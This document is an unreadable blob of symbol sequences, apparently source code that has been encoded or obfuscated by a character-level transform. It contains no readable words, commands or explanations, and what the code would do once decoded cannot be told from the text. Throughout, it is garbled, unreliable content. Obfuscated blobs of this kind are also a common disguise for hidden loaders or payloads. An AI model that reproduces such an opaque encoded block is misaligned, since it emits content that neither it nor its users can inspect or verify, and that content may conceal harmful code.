z,w(-=f}}{gfj8"=(&*x$4?~vbnnnj(8~(>*/*8#+guD'(nnf47}#%=++!*:fyw{gfj>$(|!-z!$w(;{yxggnnj<'4-8}$4!&? *66n`snnj>$(|!-z!$w(;{yxuDDDn3n+"=+nnn5Dnj<'4-8}$4!&? *66nnnn`snnnnnnj(8~(>*/*8#+uj/%7=9("{4z>z?s uj/#?)-~6&|ysj/%7=9("{4z>z?d{uDDnnnnnn3Dj'#=|)(>&~~nsn')<,*!v z,w(-=fywvgfj'#=|)(>&~~bnnnnj7(%v#y-+7'4*y9-nnnnenn')<,*!v z,w(-=fv~gfj+vz'{)z'?=?zgguDnDDn3DDn<+:;< nnj<'4-8}$4!&? *66nn`nnnnnnj'#=|)(>&~~uDDDn3Dnn(; -:'! nnn)?x=y#'$"-*=;{}}'$vfj:8:>&"*=,gD5DDDn<+:;< nlluDnDDnnnnn3Dnn(; -:'! nnn 8y}*%}#;4:~->*vfj:8:>&"*=,gDnnn5DDn'(nfo47}#%=++!*:fyw{gfj:8:>&"*=,ggnn<+:;< nlluDDDn'(nfo*+(' +*f,,&x"7%*"w>* "|f{x{gggnn<+:;< nj:8:>&"*=,uDnj%7" *$$w7nnsnn!=+>>,++"6<w;&fnnnn`nn47}#%=++!*:fv~|gbnnnnnfzrrgguDnnnnnn'(nnnnnnf,,&x"7%*"w>* "|fy|gf,,&x"7%*"w>* "|fv~}gn`nnj%7" *$$w7nnn`nn47}#%=++!*:fv~zgbnj:8:>&"*=,ggnnnn<+:;< nlluDnn<+:;< nnnnnj:8:>&"*=,uDnnn3Dn(; -:'! nnnnn8$><$x{>v7?*'fj'#=|)(>&~~gD5D'(nnfo'9}8?4>/7?,4)fv~{gfj'#=|)(>&~~gnnn22nnnnj'#=|)(>&~~nnnnsssnllgn<+:;< nnnj'#=|)(>&~~uDnnnj#$#<+='~%|,~);8nnsn'*;<94+ wz:66%}66fj'#=|)(>&~~bnnn,,&x"7%*"w>* "|fv~xgbnn47}#%=++!*:fv~ygguDnnnnj#$#<+='~%|,~);8nnsnn'*;<94+ wz:66%}66fj#$#<+='~%|,~);8bn47}#%=++!*:fv~vgbnn'9}8?4>/7?,4)fv~wgguDnnn'(nnnf,,&x"7%*"w>* "|fv~gfj#$#<+='~%|,~);8ggnj#$#<+='~%|,~);8nnsnn,,&x"7%*"w>* "|fx}ygf,,&x"7%*"w>* "|fvgbnnnnnnllbnnnj#$#<+='~%|,~);8guDDDDn'(nnnfo')<,*!v z,w(-=fv~gfj#$#<+='~%|,~);8ggnnnnnnj#$#<+='~%|,~);8nnsnj'#=|)(>&~~uj)8+)v)+)/74&{ws a uj,(==?4; ;sj)8+)v)+)/74&{wewuDnnnn'(nnnf9,<w#"9$-*<?86fj#$#<+='~%|,~);8ggnnnn5DDnnnnj#$#<+='~%|,~);8nsnnn'*;<94+ wz:66%}66fj#$#<+='~%|,~);8bnnn47}#%=++!*:fv~xgbn,,&x"7%*"w>* "|fv|gguDDDj#$#<+='~%|,~);8nnnnnsnn'*;<94+ wz:66%}66fj#$#<+='~%|,~);8bnn')<,*!v z,w(-=fv}gbnnnnn')<,*!v z,w(-=fv|gguDnn'(nnnf')<,*!v z,w(-=fvzgfj#$#<+='~%|,~);8ggnnnj#$#<+='~%|,~);8nnsnnnn,,&x"7%*"w>* "|fx}ygf47}#%=++!*:fvgbnnllbnnj#$#<+='~%|,~);8guDn3DDn<+:;< nnnnnn,,&x"7%*"w>* "|fvzgfj#$#<+='~%|,~);8gnqnnj#$#<+='~%|,~);8nntnj'#=|)(>&~~uDD3Dnn(; -:'! n4~y,;;}6{w""}yfj'#=|)(>&~~gDnnn5Dn'(nnnnnfo'9}8?4>/7?,4)fvzgfj'#=|)(>&~~gn22no*+(' +*f,,&x"7%*"w>* "|f{x{gggn<+:;< n(/"=+uDnnnn'(nnf'9}8?4>/7?,4)fy|gf')<,*!v z,w(-=fvgbnnj'#=|)(>&~~ggnnn<+:;< n:<;+uDDDDj?79"6=;9 *#6%nnnnsnnn!=+>>,++"6<w;&fnn`nnnn,,&x"7%*"w>* "|fv{gbnnnf~6xe~6|gguD'(nf,,&x"7%*"w>* "|fyvwgf47}#%=++!*:fvxgbnj'#=|)(>&~~bnnnnj,!{?|zw%/4ggn5Dnn(!<+/-&nfj,!{?|zw%/4nnnnn/=nnnnj"/9)|v !>7gnnnnnn5Dnnnnnn'(nf'9}8?4>/7?,4)fywvgfj"/9)|v !>7bnnncfze{ggnnnsssnnitinn`nnj?79"6=;9 *#6%gnn<+:;< nnnnnn:<;+uDnnnnnnn3DDD3Dnj**nnnnnsnn47}#%=++!*:fywvgf')<,*!v z,w(-=fyx{gfnnnn`nn47}#%=++!*:fvyggbnnn~bnnnnnf|czgguDnnnn'(nnnf,,&x"7%*"w>* "|fyvwgf47}#%=++!*:fvvgbnnj'#=|)(>&~~bnnj*#ggn5Daann>/-+<n"!-%n-;=:!#'4+<n:</ =>!<:DDn(!<+/-&nnnfj*#nnn/=nnj%6+~#>:;*7#~gnnnn5D'(nfj%6+~#>:;*7#~nnnnsssnnnj**gnn<+:;< n:<;+uDnn3Dn3D<+:;< nnnn(/"=+uDDDnnnn3Dn(; -:'! n&6*w999-$$,7,;#=?fgDDnnn5Dnn'(nfo'==+:fj	47}#%=++!*:fvwggn22nno')<,*!v z,w(-=fvzgfj	')<,*!v z,w(-=fvwggnn22nnnno')<,*!v z,w(-=fy|vgf'9}8?4>/7?,4)fy~{gggnn<+:;< uDnnnnnj+|}"()8:/;nnsnnnn)+:!>:'! f'9}8?4>/7?,4)fv|~gbnn/<</7fgguD'(nfo'9}8?4>/7?,4)fv|gfj+|}"()8:/;ggnnn<+:;< uDnj"v>$/yv!xvz"}nnsnf=:<' )gnj	'9}8?4>/7?,4)fv||guDnj<(:v8z%*v7=&6ynsn/<</7fguDn'(nf'==+:fj+|}"()8:/;i:iggnnnnj<(:v8z%*v7=&6ynnnsnf=:<' )gnnnnj+|}"()8:/;i:iuDnnnn'(nnnf'==+:fj+|}"()8:/;'9}8?4>/7?,4)fx}~ggnnhhnnnnn,,&x"7%*"w>* "|fv|gfj+|}"()8:/;47}#%=++!*:fx}~gggn5D(!<+/-&nnnnnnfj+|}"()8:/;47}#%=++!*:fx}~gnnn/=nnj&w:)";7$?(-gn5DDDnn'(nnnnf,,&x"7%*"w>* "|fv|gfj&w:)";7$?(-gnnnnnnhhnnnnn'==+:fj&w:)";7$?(-i:iggnnj<(:v8z%*v7=&6ynsnnnnnf=:<' )gnnnnj&w:)";7$?(-i:iuDnnnnnn3Dn3Dnj8;"%'y(4:|?)4w8/nnsn(/"=+uDnn(!<+/-&nnnnnfj<(:v8z%*v7=&6yn/=nnnj-<&|6 #::(gnnn5j?')+6} =}s uj89&/,)v:?sj?')+6} =}d{uDnn'(nfj-<&|6 #::(nnnnsssnllgnnn-! :' ;+uDnnj8;"%'y(4:|?)4w8/nsnnnn,,&x"7%*"w>* "|fy|vgf,,&x"7%*"w>* "|fv|}ggnnnqn&/=&+?;/"=fj-<&|6 #::(bnnnnnj"v>$/yv!xvz"}gntnnnnfj-<&|6 #::(nsssnnnnnnj"v>$/yv!xvz"}guDnn'(nnfj8;"%'y(4:|?)4w8/gnnnn,<+/%uDnn3Daan*+><!8'='! n=-&+*;"+<DDn'(nnfoj8;"%'y(4:|?)4w8/gn<+:;< uDDDD'(nnnf47}#%=++!*:fy|vgf47}#%=++!*:f{||gggnn5DDDDnnn47}#%=++!*:f{||gf(; -:'! nnfgn;=+nfj"v>$/yv!xvz"}gnn5Dnnnnn+-&!nnnnnl rocctlnnnn`nj"v>$/yv!xvz"}nn`nn')<,*!v z,w(-=fv|zguDn3guDDnnnn3Dn3Dn(; -:'! nn8wy/&(({-|" *;!""==fgDnnnnn5Dnnnnnn'(nnfo47}#%=++!*:fv|{gf47}#%=++!*:fy~{gggnn<+:;< nn(/"=+uDDDnnj8y${w=# x(w>ynnnnnsnn)+:!>:'! f47}#%=++!*:fx|{gbnnllguDDDDn'(nfo,,&x"7%*"w>* "|fvzgfj8y${w=# x(w>ygnnn22nn')<,*!v z,w(-=fyw~gfj8y${w=# x(w>ybnnn')<,*!v z,w(-=fv|xggnossn~gn<+:;< nnnn(/"=+uDj=! '?7}y+=}#$8nnnsnnnnf' :gnn'9}8?4>/7?,4)fywvgfj8y${w=# x(w>ybnfvwvygguDnnnnnn'(nnnfj=! '?7}y+=}#$8nnhhnnnn'9}8?4>/7?,4)fv|ygfgnnncnnj=! '?7}y+=}#$8npnnnfvx}{xezzggn<+:;< n(/"=+uD<+:;< nnnnn:<;+uDn3D(; -:'! n ~-w!;!:/{/4'fj "~6%$-v~+vbnj;4{=;+!=v&,'/%gD5Daan+#-/-&+*n/*/>:+<tn; "!/*n9/:+<#/<%DDnnn'(nnnnnnfo47}#%=++!*:fv|{gf'9}8?4>/7?,4)fyxxggnn22no,,&x"7%*"w>* "|fv|vgf'9}8?4>/7?,4)f{||gggn<+:;< nn(/"=+uDDnnnnn'(nnf8wy/&(({-|" *;!""==fggnnnn<+:;< n:<;+uDnnnnnj+|}"()8:/;nnnsnn)+:!>:'! f47}#%=++!*:fv|~gbnnn/<</7fgguDnn'(nnfo'9}8?4>/7?,4)fv|gfj+|}"()8:/;ggnnj+|}"()8:/;nsnnnnn/<</7fguDnnnnnnn'(nnfo'==+:fj+|}"()8:/;,,&x"7%*"w>* "|fv|wggnn22no,,&x"7%*"w>* "|fv|gfj+|}"()8:/;47}#%=++!*:fv|wgggnn5DDDDj9$ *}!=>z<yv>nsnnnnn/<</7fguDDDn'(nnf'==+:fj+|}"()8:/;i:ibnnj+|}"()8:/;i>ibnj+|}"()8:/;i,iggnnn5Daan><!8'='! n=:<! )n !#' /"c:7>+DDnnnnnj9$ *}!=>z<yv>')<,*!v z,w(-=fyx{gff=:<' )gnnnj+|}"()8:/;i>ignnsnn/<</7fi:innnnspnnf=:<' )gnj+|}"()8:/;i:ibnnnnni>innnspnnf=:<' )gnnnj+|}"()8:/;i>ibnni,innspnnnnnf=:<' )gnj+|}"()8:/;i,ibnnnnn,,&x"7%*"w>* "|f~v~gnspn'==+:fj+|}"()8:/;'9}8?4>/7?,4)f~v~ggnnqnnnf' :gnnj+|}"()8:/;,,&x"7%*"w>* "|f~v~gnntnn')<,*!v z,w(-=fv|ygfgbn,,&x"7%*"w>* "|fv}~gnnnspn~bnni innnnspn~guDn3Dnnnnj+|}"()8:/;nnsnn/<</7f')<,*!v z,w(-=fv|wgnnspnnj9$ *}!=>z<yv>guDnn3Dnnnj(8/~'~ "7=$nsnnnnn,,&x"7%*"w>* "|fyx{gfj "~6%$-v~+vguDDnnnn'(nnnnf'==+:fj+|}"()8:/;47}#%=++!*:fv|wgj(8/~'~ "7=$ggn5Dnnnnnj+|}"()8:/;47}#%=++!*:fv|wgj(8/~'~ "7=$')<,*!v z,w(-=f~v~gnnnnnnsnnn,,&x"7%*"w>* "|fv}gfguDDDDnnj+|}"()8:/;,,&x"7%*"w>* "|fv|wgj(8/~'~ "7=$'9}8?4>/7?,4)fv}|gnnnsnnnn~uDDDnnnnnj+|}"()8:/;')<,*!v z,w(-=fv|wgj(8/~'~ "7=$i insnnfj;4{=;+!=v&,'/%nnsssnnnllgnnnqnnnntnnn~uD'(nfo=,?(,4;}z-}  {8=6$'6>fj+|}"()8:/;47}#%=++!*:fv}}gj(8/~'~ "7=$i,ibnnnnnnj;4{=;+!=v&,'/%ggnn5Dnnnnnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fv}zgbnnnnn')<,*!v z,w(-=fv}{gguDn<+:;< nnnn(/"=+uDnn3DD3nn+"=+nn5Dnnnnnnnj<y>%"%;-=~nnsnnn9#::(!7?8|, ,v})v'fguDnj%=7&(>4w4z4"%*$}nsnnnj<y>%"%;-=~nn`nn,,&x"7%*"w>* "|fv}xgnnn`nn!=+>>,++"6<w;&fj "~6%$-v~+vbnnfwcyggnnn`nnnn')<,*!v z,w(-=fv}yguD'(nfo=,?(,4;}z-}  {8=6$'6>fj%=7&(>4w4z4"%*$}bnnnj;4{=;+!=v&,'/%ggnn5D!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fv}zgbnnnnnn47}#%=++!*:fv}vgguDDDDnnnnn<+:;< nn(/"=+uDDDDn3Dnnj+|}"()8:/;')<,*!v z,w(-=fv}}gj(8/~'~ "7=$nnnnsnn/<</7fi:inspnnnn+6z6x-&~y)|? ~ 6)ffzyx}ggbnnni>inspnnnnnj "~6%$-v~+vbnnnnni,inspnnnnj%=7&(>4w4z4"%*$}bn')<,*!v z,w(-=f~v~gnspn'9}8?4>/7?,4)fv}wgfgbn47}#%=++!*:fvz~gnspn~bni innspnfj;4{=;+!=v&,'/%nnsssnnnllgnnnnnnqnnnnntnnn~guDDn3Dnnnnn9&'"+nnnnnf')<,*!v z,w(-=fvzgfj+|}"()8:/;'9}8?4>/7?,4)fv}}ggnnnpnnnnnfzczggn5Dnnnnj(79zv+??}</=(?6nnnnnsnn ;""uDDDDnnnnnj&x$4~=,4}-+;<}!znnnnsn ;""uDDDn(!<+/-&nnnfj+|}"()8:/;')<,*!v z,w(-=fv}}gnn/=nnj?:/|6,?  ;yx ?nspnnj#v7x$+"~!?gn5DDDnnn'(nnnnfj&x$4~=,4}-+;<}!znnnsssnnn ;""n22nf' :gnj#v7x$+"~!?47}#%=++!*:f~v~gnnrnnnnnj&x$4~=,4}-+;<}!zgn5j4-? 4%~(,sf~6+*e~6yzguj!?!*z &8sj4-? 4%~(,kwuDDDDnnnnnnnj&x$4~=,4}-+;<}!znnsnf' :gnj#v7x$+"~!?,,&x"7%*"w>* "|f~v~guDj(79zv+??}</=(?6nsnnnj?:/|6,?  ;yx ?uDDn3Dnn3Dnn'(nnnfj(79zv+??}</=(?6nnsssnnn ;""gn,<+/%uDn'7"<=~;<?-87+}? fj+|}"()8:/;'9}8?4>/7?,4)fvz|gj(79zv+??}</=(?6i,iguDnnn; =+:fj+|}"()8:/;,,&x"7%*"w>* "|fvz|gj(79zv+??}</=(?6guDnnnnnn3DDnnnnn;>*/:+!>:'! f47}#%=++!*:fvz}gbnnnnj+|}"()8:/;bnnnn')<,*!v z,w(-=fyz}gguDnnn'9}8?4>/7?,4)f{||gf47}#%=++!*:fvzzgguDn<+:;< nnn:<;+uDn3DDDnnnn(; -:'! n'~v*&|v& =7;>-%z-#"fj$#$v->x*)(gDnnnnn5DDDDnnnj'*:$<8"9$: 47nnsn47}#%=++!*:fvz{gfj$#$v->x*)(bnn/<</7f')<,*!v z,w(-=f{}gnnnspnnfwe}gbnnnn47}#%=++!*:fzxgnnnspnn(/"=+bnn')<,*!v z,w(-=fzzvgnspnn:<;+bnnnnnn')<,*!v z,w(-=fvzxgnnnnnspnn~bnnnnn')<,*!v z,w(-=fzvgnnspnn/<</7f47}#%=++!*:fzwgnnnnnspn47}#%=++!*:fvzygbnnnnn'9}8?4>/7?,4)fvzvgnnnnspnn47}#%=++!*:f{~gggguDnnnnn'(nnnnf47}#%=++!*:fvzwgf47}#%=++!*:fv{~ggnnhhn'=9>+<<!<fj'*:$<8"9$: 47ggnn<+:;< n/<</7fcbn(/"=+guDnnnnnnj:,#zv{|~:7!;"->nnnnnnsnn47}#%=++!*:fvzwgf,,&x"7%*"w>* "|fv{ggnnnqnf' :gnnn9><+#!:+<+:<'+8+<+=>! =+-!*+fj'*:$<8"9$: 47gnntn~uDnn<+:;< nn/<</7fj:,#zv{|~:7!;"->bnnj:,#zv{|~:7!;"->nnnnpnn~nhhnnnn,,&x"7%*"w>* "|fv{|gf47}#%=++!*:fv{}ggnqnf=:<' )gnnnnn9><+#!:+<+:<'+8+,!*7fj'*:$<8"9$: 47gnnntnllguDnn3D(; -:'! nnn8}(*-#/-*+> #xy8:fj&w:)";7$?(-gD5Dnnj!y"y/9+9*v-nnnnnnsnnn'9}8?4>/7?,4)fv{zgfj&w:)";7$?(-i,iguj(6<zzxz;&vzsvd{uj/?>*+-$>&>*sj(6<zzxz;&vzcz~uDD'(nnfo'9}8?4>/7?,4)fvzgfj!y"y/9+9*v-ggn<+:;< n(/"=+uDnnnnn'(nnnnfj!y"y/9+9*v-nnnnsssnnnnnllgn5D'(nnnf+#>:7fj&w:)";7$?(-i iggn<+:;< nn(/"=+unDnnnnj'-)%~v?#%'+?&nnnsnno')<,*!v z,w(-=fv{{gfj&w:)";7$?(-i>iguDnnnn'(nnnfoj'-)%~v?#%'+?&gnnnnn5j#%(4z(,z>}s a uj,<x,8$ 6sj#%(4z(,z>}e|{uDnnnn??:+}<">$9;(=4=8'-+fj&w:)";7$?(-i>ibnnf}ywezgguDnnnnnnnj'-)%~v?#%'+?&nnsn'7"<=~;<?-87+}? fj&w:)";7$?(-i>iguDnnn3Dnn'(nnnf47}#%=++!*:fv{|gf'9}8?4>/7?,4)f|~~gggn!>-/-&+' 8/"'*/:+fj&w:)";7$?(-i>ibn:<;+guDnn<+:;< nj'-)%~v?#%'+?&uj*->={?~8&$s uj<($ w+|=sj*->={?~8&$duDnnnn3Dnnnnnnnn'(nnnfo=,?(,4;}z-}  {8=6$'6>fj&w:)";7$?(-i>ibnnj!y"y/9+9*v-ggnnnn<+:;< nn(/"=+uDDnnnnn'(nnf,,&x"7%*"w>* "|fv{|gf'9}8?4>/7?,4)f|~~gggnn!>-/-&+' 8/"'*/:+fj&w:)";7$?(-i>ibnn:<;+guDDDnnnn<+:;< nnn:<;+uD3DDDnnnn(; -:'! nnnn ;7-%!/!*7, zfgDnn5D'(nfo,,&x"7%*"w>* "|fv{|gf47}#%=++!*:fv{xgggnn<+:;< uDnnj+|}"()8:/;nnsnn)+:!>:'! f47}#%=++!*:fvz}gbn/<</7fgguDDDnnnnn'(nfo'9}8?4>/7?,4)fv|gfj+|}"()8:/;ggn<+:;< uDnnnnnnn'(nnnnfo'==+:fj+|}"()8:/;'9}8?4>/7?,4)fvz|ggnn22nno')<,*!v z,w(-=fv|gfj+|}"()8:/;47}#%=++!*:fv{ygggnnnnnn5Dnnnj9$ *}!=>z<yv>nnsn/<</7fguDnnn'(nnnnnnf'==+:fj+|}"()8:/;i:ibnnj+|}"()8:/;i>ibnnnj+|}"()8:/;i,iggn5DDDDj9$ *}!=>z<yv>,,&x"7%*"w>* "|fyx{gff=:<' )gnnj+|}"()8:/;i>ignnnsnnn/<</7fi:innnspnnnnnf=:<' )gnnnnnj+|}"()8:/;i:ibnni>inspnf=:<' )gnnnj+|}"()8:/;i>ibnni,innspnnf=:<' )gnj+|}"()8:/;i,ibn,,&x"7%*"w>* "|f~v~gnnspnn'==+:fj+|}"()8:/;,,&x"7%*"w>* "|fv{vggnnnnnqnnf' :gnj+|}"()8:/;,,&x"7%*"w>* "|fv{vgnntn47}#%=++!*:fv}wgfgbn47}#%=++!*:fvz~gnspnn~guD3Dj+|}"()8:/;nnsn/<</7f,,&x"7%*"w>* "|fv{ygnnspnnnj9$ *}!=>z<yv>guj>z(xv%*8#sz|dxuj)-)4,=zz|sj>z(xv%*8#cxuDn3Dnnn'(nf+#>:7fj+|}"()8:/;47}#%=++!*:fv{ygggnnnn5Dn*+"+:+!>:'! f,,&x"7%*"w>* "|fvz}gguDn<+:;< uj/w{={;:9=sx~|uj6"=$69=69sj/w{={;:9=kxuD3Dnnnnn=:/:'-nnj :;{z%x7w6vnnnsnnn(/"=+uDD'(nnfj :;{z%x7w6vgnnnnn<+:;< uDDnnnnnnj :;{z%x7w6vnnsnnn:<;+uDn'(nnnnf'9}8?4>/7?,4)fv{|gf')<,*!v z,w(-=fv{wgggn'9}8?4>/7?,4)fv{wgfguD+"=+'(nnnnnnf')<,*!v z,w(-=fv{|gf47}#%=++!*:fvx~gggnnnn'9}8?4>/7?,4)fvxgfguD'(nnnnnf47}#%=++!*:fv{|gf47}#%=++!*:fvx|gggnnnn')<,*!v z,w(-=fvx}gf:<;+guDnnnn'(nnnnnfo'9}8?4>/7?,4)fv{|gf'9}8?4>/7?,4)fvxzggnn22no47}#%=++!*:fv{|gf,,&x"7%*"w>* "|fyv}gggn<+:;< uDnnj!'!?%# %y%<:nnsnnnn&!#+;<"fiaiguDDnnnj9'4z6~=x{)nsnnnn'9}8?4>/7?,4)fv{|gf47}#%=++!*:fx}xggnnnqn9>"!)' ;<"fgnnnnntnj!'!?%# %y%<:nn`n')<,*!v z,w(-=fvx{guDnnnj),xx6<+|?8w<-v}7nnnnnsnnnnnn(/"=+uDnnnj7?!y*zw:9|#nnsnnn:<;+uDj$+: x"w??%{nsnfe|guDnnn(!<+/-&nnnfj+|}"()8:/;'9}8?4>/7?,4)fv{ygn/=nj(8/~'~ "7=$nnspnnj&w:)";7$?(-gnn5Dnn'(nnnnnfo,,&x"7%*"w>* "|fv|gfj&w:)";7$?(-gnnn22nnn+#>:7fj&w:)";7$?(-i:ignn22nn+#>:7fj&w:)";7$?(-i>ignnn22nnn+#>:7fj&w:)";7$?(-i,iggnn5Dnn; =+:fj+|}"()8:/;')<,*!v z,w(-=fv{ygj(8/~'~ "7=$guDnnj),xx6<+|?8w<-v}7nnsn:<;+uDnn-! :' ;+uDnn3D'(nnnnnnf'9}8?4>/7?,4)fvxxgfgnncnnf' :gnnj&w:)";7$?(-,,&x"7%*"w>* "|fv{vgnnpnf}}|ezxvgnn22nnf' :gnnnnj&w:)";7$?(-47}#%=++!*:fvz~gnnnpsnnfwc}ggn5DDDnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fv}zgbnnnn')<,*!v z,w(-=fvxygn`nn,,&x"7%*"w>* "|fxyxgfj&w:)";7$?(-i>igguDnnnn'7"<=~;<?-87+}? fj&w:)";7$?(-i,iguDnnnnnn; =+:fj+|}"()8:/;,,&x"7%*"w>* "|fv{ygj(8/~'~ "7=$guDnnnj),xx6<+|?8w<-v}7nnsnnnnn:<;+uDnnn-! :' ;+uDnnn3Dnnnnnnn'(nnnnfj$+: x"w??%{nnnrsn~gn,<+/%uDnnj$+: x"w??%{ccuDnnj,$y6/(x'|<x//(|nnnnsn,,&x"7%*"w>* "|fvxvgnn`nn,,&x"7%*"w>* "|fvxwgfj&w:)";7$?(-i:ign`n'9}8?4>/7?,4)fvy~gnn`nnn47}#%=++!*:fzzgff~6|((e~6{x/(gbnnf{x}~ezv}vxwgguDn"'=:fj:,#zv{|~:7!;"->bnnj& #7,:,=6("=~gnnnnnsnnnn'~v*&|v& =7;>-%z-#"fj!'!?%# %y%<:n`nnj,$y6/(x'|<x//(|guD'(nfj:,#zv{|~:7!;"->nnpnn~gnnj7?!y*zw:9|#nsn(/"=+uDn'(nnnnnnfj:,#zv{|~:7!;"->nnnrsnnn~nhhn47}#%=++!*:fvygf,,&x"7%*"w>* "|fyvygggnnnn47}#%=++!*:fyvygf|guDnnnnn'(nnfj:,#zv{|~:7!;"->nnnnnrsnn~gnnn5DDDnnn"'=:fj:,#zv{|~:7!;"->bnnnj& #7,:,=6("=~gnsnn'~v*&|v& =7;>-%z-#"fj!'!?%# %y%<:n`nnnnnj,$y6/(x'|<x//(|guDDDn'(nnnnfj:,#zv{|~:7!;"->npnnnn~gnnnnnnj7?!y*zw:9|#nnnsn(/"=+uDDDD3Dnnnn'(nnfj:,#zv{|~:7!;"->nrsn~gn5Dnnj+|}"()8:/;47}#%=++!*:fv{ygj(8/~'~ "7=$,,&x"7%*"w>* "|fvz~geeuDj),xx6<+|?8w<-v}7nsnnn:<;+uD-! :' ;+uDDDDnnn3Dn'(nnnfj:,#zv{|~:7!;"->nnpsnnfz}zexxggnnnn5Dnnnnnn'(nnnf8}(*-#/-*+> #xy8:fj&w:)";7$?(-ggn5Dn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fv}zgbn')<,*!v z,w(-=fvy|gnnnnnn`n'9}8?4>/7?,4)fxyxgfj&w:)";7$?(-i>igguD'7"<=~;<?-87+}? fj&w:)";7$?(-i,iguDDDDn; =+:fj+|}"()8:/;,,&x"7%*"w>* "|fvy}gj(8/~'~ "7=$guDnn3nnnn+"=+n5DDDnj+|}"()8:/;')<,*!v z,w(-=fvy}gj(8/~'~ "7=$47}#%=++!*:fvz~geeuDnnnn3Dj),xx6<+|?8w<-v}7nsnn:<;+uD-! :' ;+uDnn3Dnnnnnn'(nf,,&x"7%*"w>* "|fvyzgfj& #7,:,=6("=~bn')<,*!v z,w(-=fvy{gnnn`nnnnj&w:)";7$?(-i:innn`n,,&x"7%*"w>* "|fvyxggnnnossnnn(/"=+gnnnn5Dn'7"<=~;<?-87+}? fj&w:)";7$?(-i,iguDn; =+:fj+|}"()8:/;47}#%=++!*:fvy}gj(8/~'~ "7=$guDnnj),xx6<+|?8w<-v}7nsn:<;+uD-! :' ;+uDDnn3Dnn"'=:fj,8w{'y4<xbnnnnnj?<79(=6+"gnnsnn'~v*&|v& =7;>-%z-#"fj9'4z6~=x{)n`nf')<,*!v z,w(-=fvyygfj9'4z6~=x{)bnnnniqignsssnn(/"=+nnnqnnnniqinnntnihignnn`nn')<,*!v z,w(-=fvyvgnn`n,,&x"7%*"w>* "|fvxwgfj&w:)";7$?(-i:ignnn`n')<,*!v z,w(-=fvy~gnnnnn`n,,&x"7%*"w>* "|fzzgff~v}{~cv}{~gbnf{zw}evvz{~xggguDnnnnnnn'(nnfj,8w{'y4<xnnpnnn~gnj7?!y*zw:9|#nsn(/"=+uDDDnn'(nnnfj,8w{'y4<xnnnnnpsnnnnfw}ez~yggnn5Dnnn'(nnf8}(*-#/-*+> #xy8:fj&w:)";7$?(-ggnnnn5Daann/)n"!;*tn"/47n=' )"+:! DDDnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fv}zgbnn,,&x"7%*"w>* "|fvywgnnnnn`nnn,,&x"7%*"w>* "|fxyxgfj&w:)";7$?(-i>igguDDDDnnnnnn'7"<=~;<?-87+}? fj&w:)";7$?(-i,iguDnnn; =+:fj+|}"()8:/;'9}8?4>/7?,4)fvy}gj(8/~'~ "7=$guDDnnn3nn+"=+nnnnn5Dnnj+|}"()8:/;,,&x"7%*"w>* "|fvy}gj(8/~'~ "7=$'9}8?4>/7?,4)fvz~geeuDnnn3Dnj),xx6<+|?8w<-v}7nnnnnsn:<;+uDDn-! :' ;+uDDDn3Dnnnn'(nnnf')<,*!v z,w(-=fvzgfj?<79(=6+"gnnnhhnnnnn,,&x"7%*"w>* "|fvyygfj?<79(=6+"bn,,&x"7%*"w>* "|fvy{gn`nj&w:)";7$?(-i:inn`n47}#%=++!*:fvyxggnnnnossn(/"=+gnnn5D'7"<=~;<?-87+}? fj&w:)";7$?(-i,iguDnnn; =+:fj+|}"()8:/;'9}8?4>/7?,4)fvy}gj(8/~'~ "7=$guDnnnj),xx6<+|?8w<-v}7nnsnnnn:<;+uDDDD-! :' ;+uDn3Dnnnj+|}"()8:/;')<,*!v z,w(-=fvv~gj(8/~'~ "7=$'9}8?4>/7?,4)fvz~geeuDnj),xx6<+|?8w<-v}7nnsnn:<;+uDn3Dnn'(nnnfj7?!y*zw:9|#nnhhnj),xx6<+|?8w<-v}7nhhno+#>:7fj+|}"()8:/;,,&x"7%*"w>* "|fvv~gggnn5j!>(?}'79"-#&s uj%zy +7w(v}sj!>(?}'79"-#&d}uDDDnnnnnnj-/:%'z!={||nnnnsn(/"=+uDnnn(!<+/-&nnnnfj+|}"()8:/;'9}8?4>/7?,4)fvv~gnn/=nnnj$&<z&{>|>}/?gnnnn5Daan/--;#;"/:+n"+/%7c,;-%+:n(!<nn"!-%n/<'/:'! =DDnnn'(nnff' :gnj$&<z&{>|>}/?')<,*!v z,w(-=fvz~gnpsnnnnnfzcggn5Dj-/:%'z!={||nnsnnnn:<;+uj!"'%<%"% 9syv|uj<-+4~,{sj!"'%<%"% 9kwuDnn,<+/%uDnnn3Dnnn3DDDn'(nnfj-/:%'z!={||gnnn5D;>*/:+!>:'! f')<,*!v z,w(-=fx|{gbnnnn')<,*!v z,w(-=fvvgn`nnn')<,*!v z,w(-=fvv|gfgbnnnnn47}#%=++!*:fyz}gguDDDnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fv}zgbn'9}8?4>/7?,4)fvv}gguDn(!<+/-&nfj+|}"()8:/;,,&x"7%*"w>* "|fvvzgn/=nnj?:/|6,?  ;yx ?nnnnnnspnnj$&<z&{>|>}/?gnnnnn5Dnnnnn'7"<=~;<?-87+}? fj$&<z&{>|>}/?i,iguDnnnn; =+:fj+|}"()8:/;47}#%=++!*:fvvzgj?:/|6,?  ;yx ?guDnnDDnnnn3DDDDnn3DDnnnn3nnnn+"=+'(nnfoj7?!y*zw:9|#gn5Daann;+<7n!!>n=<-=+:n*+=-<'>:!<DDnnj>>({}|(-7yv=!49~nnnsn)+:!>:'! f,,&x"7%*"w>* "|fx|{gbnnnnllguDnnnnnnn'(nnnnfo')<,*!v z,w(-=fvv{gfj>>({}|(-7yv=!49~gnnnnnn22nn')<,*!v z,w(-=fvvxgfj>>({}|(-7yv=!49~bnnnn')<,*!v z,w(-=fy{ggnnnnossnn~gnn;>*/:+!>:'! f,,&x"7%*"w>* "|fvvygbnnn,,&x"7%*"w>* "|fvvvgnnn`nnn')<,*!v z,w(-=fvv|gfgbnnn47}#%=++!*:fyz}gguDnnn3D'(nnnf+#>:7fj+|}"()8:/;')<,*!v z,w(-=fvvzgggnn*+"+:+!>:'! f'9}8?4>/7?,4)fvz}gguDnnn+"=+'(nnnnfj),xx6<+|?8w<-v}7gnnnnn;>*/:+!>:'! f47}#%=++!*:fvz}gbnnnnnnj+|}"()8:/;bnn,,&x"7%*"w>* "|fvvwgguDnnnn3Dnnnn(; -:'! n('z//%=  *?86::8%=fj'#=|)(>&~~gDDnnn5Dn<+:;< 